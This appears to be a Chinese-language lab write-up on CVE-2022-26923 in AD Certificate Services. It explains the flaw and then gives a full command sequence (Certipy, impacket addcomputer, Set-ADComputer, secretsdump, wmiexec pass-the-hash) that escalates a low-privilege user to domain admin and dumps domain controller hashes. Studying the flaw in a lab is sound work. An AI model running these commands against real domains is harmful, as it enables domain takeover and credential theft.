漏洞背景
影响范围
AD与AD 证书服务
环境搭建
漏洞复现
域内定位CA主机
kali配置dns
生成测试证书
创建机器用户
为机器账户生成证书
修改DNS Hostname和SPN属性
伪造恶意证书
导出域控hash
漏洞背景
2022年5月11日,微软发布5月份安全补丁更新,其中CVE-2022-26923年的漏洞引起了人们的关注,这是一个允许低特权用户安装活动目录证书服务的区域权限改进漏洞(ADCS)在默认活动目录环境权限升级为域管理员。
该漏洞的存在是由于应用程序没有正确处理 Active Directory 域服务施加安全限制时,Active Directory当证书服务在域上运行时,身份验证的攻击者可以在证书请求中包含特殊数据,然后从Active Directory在证书服务中获得允许提高权限的证书,并将域内普通用户权限提升为域管理员权限。
影响范围
- Windows 8.1
- Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
- Windows 11
- Windows Server 2008,2012,2016,2019,2022
AD与AD 证书服务
AD(Active Directory)是微软提供的目录服务(查询、身份验证)。活动目录的核心包括活动目录数据库,活动目录数据库包括域内所有对象(用户、计算机、组…..),活动目录(Active Directory)是面向Windows Standard Server、Windows Enterprise Server以及Windows Datacenter Server目录服务。
AD它不仅用于身份和访问管理,还提供大量帮助您运营和管理组织的服务。许多服务鲜为人知或使用较少,这意味着他们在实施安全强化时经常被忽视。其中一项服务是Active DirectoryCertificate serviceAD证书服务()。
AD CS 是 Microsoft公钥基础结构(PKI)实施。由于AD在组织中提供了一定程度的信任,因此它可以用作CA证明和委托信任。
AD CS用于各种用途,如加密文件系统、创建和验证数字签名,甚至用户身份验证,也为攻击者提供了良好的攻击方式;因为证书可以在凭证轮换中生存,这意味着即使重置损坏账户的密码,恶意生成的证书也不会无效,从而提供10年的持续凭证盗窃!下图显示了证书请求和生成过程。
环境搭建
域控安装完毕后,域控继续安装Active Directory 证书服务
1. 选择服务器管理器–>添加角色和功能导向–>检查服务器角色–>Active Directory 证书服务
点击两个下一步
直到下一步安装完成。然后配置ADCS服务,只需注意以下截图,其他都是默认的
ADCS配置完毕
漏洞复现
实验环境如下:
- :test.lab
- :win2016 : 192.168.10.2 :DC
- :win2012 : 192.168.10.4
- :kali : 192.168.10.1
- :yuwin2012/yuwin2012.com
域内定位CA主机
在域内机器上执行
certutil -config - -ping
若未安装域控AD证书服务将显示找不到活动证书颁发机构
否则弹出如下,CA名为“ test-DC-CA ”
kali配置dns
修改kali的/etc/hosts并添加以下条目:
格式为:域控地址 域控机器名.域名 证书名域名 域控机器名
域控地址 域控机器名.域名 CA名 域名 域控机器名 192.168.10.2 DC.test.lab test-DC-CA test.lab DC
生成测试证书
首先,用户证书模板是我们的低权限域用户 (Username=yuwin2012、Password=yuwin2012.com) 生成证书:
使用Certipy——>https://github.com/ly4k/Certipy,执行python3 setup.py install 进行安装
certipy req 域名/域@域控主机名.域名' -ca CA名 -template User certipy req 'test.lab/yuwin2012:yuwin2012.com@DC.test.lab' -ca test-DC-CA -template User
让我们检查证书是否有效,以及它是否可以通过Certipy用于Kerberos身份验证
certipy auth -pfx yuwin2012.pfx
成功显示yuwin2012账户的ntlm hash
创建机器用户
使用addcomputer.py ——> https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py
创建一个机器用户:NEW_PC / Password123#
python3 addcomputer.py 'test.lab/yuwin2012:yuwin2012.com' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
域控中发现也已经成功创建
为机器账户生成证书
让我们为我们创建的新的机器账户'NEW_PC'生成一个证书。要使用所述计算机的机器帐户,您需要在名称末尾添加一个“$”
certipy req 'test.lab/NEW_PC$:Password123#@DC.test.lab' -ca test-DC-CA -template Machine
修改DNS Hostname和SPN属性
在域内主机yuwin2012上执行如下
powershell
#以管理员身份运行,安装所需环境
Import-Module ServerManager
Add-WindowsFeature RSAT-AD-PowerShell
#修改DNShost属性,并移除SPN属性
Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
Set-ADComputer NEW_PC -ServicePrincipalName @{}
Set-ADComputer NEW_PC -DnsHostName DC.test.lab
移除了SPN属性及将dnshost设置为了Dc
伪造恶意证书
kali上执行
certipy req 'test.lab/NEW_PC$:Password123#@DC.test.lab' -ca test-DC-CA -template Machine
生成dc.pfx
验证证书是否有效
certipy auth -pfx dc.pfx
返回hash,证书有效
导出域控hash
python3 secretsdump.py 'test.lab/DC$@dc.test.lab' -hashes :7300df37572d276cbb6b7e2d459e59e5
wmiexec.py连接域控
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942 administrator@192.168.10.2
参考:
https://github.com/LudovicPatho/CVE-2022-26923_AD-Certificate-Services
Active Directory 域服务权限提升漏洞(CVE-2022-26923)_h领小白帽的博客-CSDN博客